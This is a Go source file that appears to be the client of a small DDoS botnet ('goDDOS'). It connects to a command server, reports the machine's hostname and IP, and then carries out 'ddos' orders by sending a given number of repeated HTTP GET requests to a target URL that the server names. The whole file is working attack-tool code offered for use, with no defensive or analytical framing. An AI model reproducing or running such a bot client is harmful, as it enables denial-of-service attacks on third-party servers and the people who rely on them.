arnaucube
arnaucube/goDDOSPublic Self-hosted repository
goDDOS/client/main.go
client/main.goRaw
  1package main
  2
  3import (
  4	"bufio"
  5	"fmt"
  6	"net"
  7	"net/http"
  8	"os"
  9	"strconv"
 10	"strings"
 11	"time"
 12)
 13
 14const (
 15	CONN_HOST = "localhost"
 16	CONN_PORT = "3333"
 17	CONN_TYPE = "tcp"
 18)
 19
 20func main() {
 21
 22	// connect to this socket
 23	conn, _ := net.Dial(CONN_TYPE, CONN_HOST+":"+CONN_PORT)
 24	hostname, err := os.Hostname()
 25	if err != nil {
 26		fmt.Println(err)
 27		os.Exit(1)
 28	}
 29	fmt.Println("connecting to server as hostname:", hostname)
 30	ip := getIp()
 31	fmt.Println("local ip:", ip)
 32	// send to socket
 33	fmt.Fprintf(conn, "[client connecting] - [date]: "+time.Now().Local().Format(time.UnixDate)+" - [hostname]: "+hostname+", [ip]: "+ip.String()+"\n")
 34	for {
 35		command, err := bufio.NewReader(conn).ReadString('\n')
 36		if err != nil {
 37			fmt.Println(err)
 38			fmt.Println("server disconnected")
 39			os.Exit(1)
 40		}
 41		fmt.Println("Command from server: " + command)
 42		//fmt.Println(len(strings.Split(command, " ")))
 43
 44		comm := strings.Split(command, " ")[0]
 45		switch comm {
 46		case "ddos":
 47			fmt.Println("url case, checking parameters")
 48			if len(strings.Split(command, " ")) < 3 {
 49				fmt.Println("not enought parameters")
 50				break
 51			}
 52			fmt.Println("url case")
 53			go ddos(command, conn, hostname)
 54		default:
 55			fmt.Println("default case, no specified command")
 56			fmt.Println("")
 57			fmt.Println("-- waiting for new orders --")
 58		}
 59
 60	}
 61
 62}
 63
 64func ddos(command string, conn net.Conn, hostname string) {
 65	url := strings.Split(command, " ")[1]
 66	url = strings.TrimSpace(url)
 67
 68	iterations := strings.Split(command, " ")[2]
 69	iterations = strings.TrimSpace(iterations)
 70	iter, err := strconv.Atoi(iterations)
 71	if err != nil {
 72		fmt.Println(err)
 73	}
 74	fmt.Println("url to ddos: " + url)
 75	for i := 0; i < iter; i++ {
 76		fmt.Println(i)
 77		resp, err := http.Get(url)
 78		if err != nil {
 79			fmt.Println(err)
 80		}
 81		fmt.Println(resp)
 82	}
 83	msg := "[hostname]: " + hostname + ", [msg]: iterations done, ddos ended" + "[date]: " + time.Now().Local().Format(time.UnixDate)
 84	fmt.Println(msg)
 85	fmt.Fprintf(conn, msg+"\n")
 86	fmt.Println("")
 87	fmt.Println("-- waiting for new orders --")
 88}
 89
 90func getIp() net.IP {
 91	var ip net.IP
 92	ifaces, err := net.Interfaces()
 93	if err != nil {
 94		fmt.Println(err)
 95	}
 96	for _, i := range ifaces {
 97		addrs, err := i.Addrs()
 98		if err != nil {
 99			fmt.Println(err)
100		}
101		for _, addr := range addrs {
102			switch v := addr.(type) {
103			case *net.IPNet:
104				ip = v.IP
105			case *net.IPAddr:
106				ip = v.IP
107			}
108		}
109	}
110	return ip
111}